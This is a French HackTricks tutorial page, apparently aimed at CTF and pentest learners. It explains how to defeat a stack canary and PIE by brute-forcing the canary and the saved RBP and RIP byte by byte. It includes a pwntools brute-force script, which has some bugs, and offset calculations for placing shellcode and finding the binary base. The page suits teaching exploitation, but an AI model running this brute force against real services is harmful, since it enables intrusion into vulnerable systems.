BF Adresses dans la Pile

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.

note

Notez que checksec pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.

Adresses par Brute-Force

Pour contourner le PIE, vous devez fuiter une adresse. Et si le binaire ne fuit aucune adresse, le mieux à faire est de brute-forcer le RBP et le RIP enregistrés dans la pile dans la fonction vulnérable.
Par exemple, si un binaire est protégé à la fois par un canary et un PIE, vous pouvez commencer par brute-forcer le canary, puis les 8 octets suivants (x64) seront le RBP enregistré et les 8 octets suivants seront le RIP enregistré.

tip

On suppose que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité se situe dans le code binaire, sera généralement le cas.

Pour brute-forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou ne plante tout simplement pas. La même fonction que celle fournie pour brute-forcer le canary peut être utilisée pour brute-forcer le RBP et le RIP :

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le RBP et le RIP.

À partir du RBP, vous pouvez calculer où vous écrivez votre shell dans la pile. Cela peut être très utile de savoir où vous allez écrire la chaîne "/bin/sh\x00" à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un point d'arrêt après avoir divulgué le RBP et vérifier où se trouve votre shellcode, puis, vous pouvez calculer la distance entre le shellcode et le RBP :

python
INI_SHELLCODE = RBP - 1152

À partir du RIP, vous pouvez calculer la base de l'adresse du binaire PIE, ce qui est nécessaire pour créer une chaîne ROP valide.
Pour calculer l'adresse de base, il suffit de faire objdump -d vunbinary et de vérifier les dernières adresses désassemblées :

Dans cet exemple, vous pouvez voir que seulement 1 octet et demi est nécessaire pour localiser tout le code, donc, l'adresse de base dans cette situation sera le RIP divulgué mais se terminant par "000". Par exemple, si vous avez divulgué 0x562002970ecf, l'adresse de base est 0x562002970000.

python
elf.address = RIP - (RIP & 0xfff)

Améliorations

Selon certaines observations de ce post, il est possible que lors de la fuite des valeurs RBP et RIP, le serveur ne plante pas avec certaines valeurs qui ne sont pas les bonnes et que le script BF pense avoir obtenu les bonnes. Cela est dû au fait que certaines adresses ne provoqueront tout simplement pas de plantage même si elles ne sont pas exactement les bonnes.

Selon ce billet de blog, il est recommandé d'ajouter un court délai entre les requêtes au serveur.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks